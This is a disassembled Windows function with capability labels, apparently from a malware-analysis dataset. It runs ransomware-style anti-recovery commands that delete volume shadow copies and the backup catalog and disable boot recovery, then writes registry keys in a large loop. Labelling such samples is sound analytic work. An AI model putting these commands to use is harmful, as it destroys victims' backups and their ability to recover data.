Function at 0x401720
Capabilities:
Create process on windows
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features
Set registry value

Disassembly:
push ebp
xor ebp, ebp
mov ecx, 0x10
push edi
mov eax, ebp
push esi
push ebx
sub esp, 0x9c
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea edi, [esp + 0x50]
lea esi, [esp + 0x3c]
mov dword [esp + 0x3c], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x24], esi
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.vssadmin_Delete_Shadows__all__quiet
mov dword [esp], 0
call ebx
mov eax, ebp
mov ecx, 0x10
sub esp, 0x28
lea edi, [esp + 0x50]
mov dword [esp + 0x3c], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x24], esi
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
mov dword [esp], 0
call ebx
mov eax, ebp
mov ecx, 0x10
sub esp, 0x28
lea edi, [esp + 0x50]
mov dword [esp + 0x3c], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x24], esi
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.bcdedit__set_default_recoveryenabled_no
mov dword [esp], 0
call ebx
mov eax, ebp
mov ecx, 0x10
sub esp, 0x28
lea edi, [esp + 0x50]
mov dword [esp + 0x3c], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x24], esi
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.wmic_shadowcopy_delete
mov dword [esp], 0
call ebx
mov eax, ebp
mov ecx, 0x10
sub esp, 0x28
lea edi, [esp + 0x50]
mov dword [esp + 0x3c], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x24], esi
xor esi, esi
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.wbadmin_delete_catalog__quiet
mov dword [esp], 0
call ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x28
lea esi, [esi]
nop
lea eax, [esp + 0x4c]
mov dword [esp + 0x20], 0
xor edi, edi
mov dword [esp + 0x1c], eax
mov eax, dword [esi*4 + 0x652f20]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
sub esp, 0x24
lea esi, [esi]
mov ebp, dword [edi*4 + 0x652f20]
add edi, 1
mov dword [esp], ebp
call sym._strlen
mov dword [esp + 0x10], ebp
lea eax, [eax*4 + 4]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 8], 0
mov dword [esp + 4], ebp
mov dword [esp], eax
call ebx
sub esp, 0x18
cmp edi, 0xfa
jne 0x401a38
mov eax, dword [esp + 0x4c]
add esi, 1
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 4
cmp esi, 0xfa
jne 0x4019e0
add esp, 0x9c
pop ebx
pop esi
pop edi
pop ebp
ret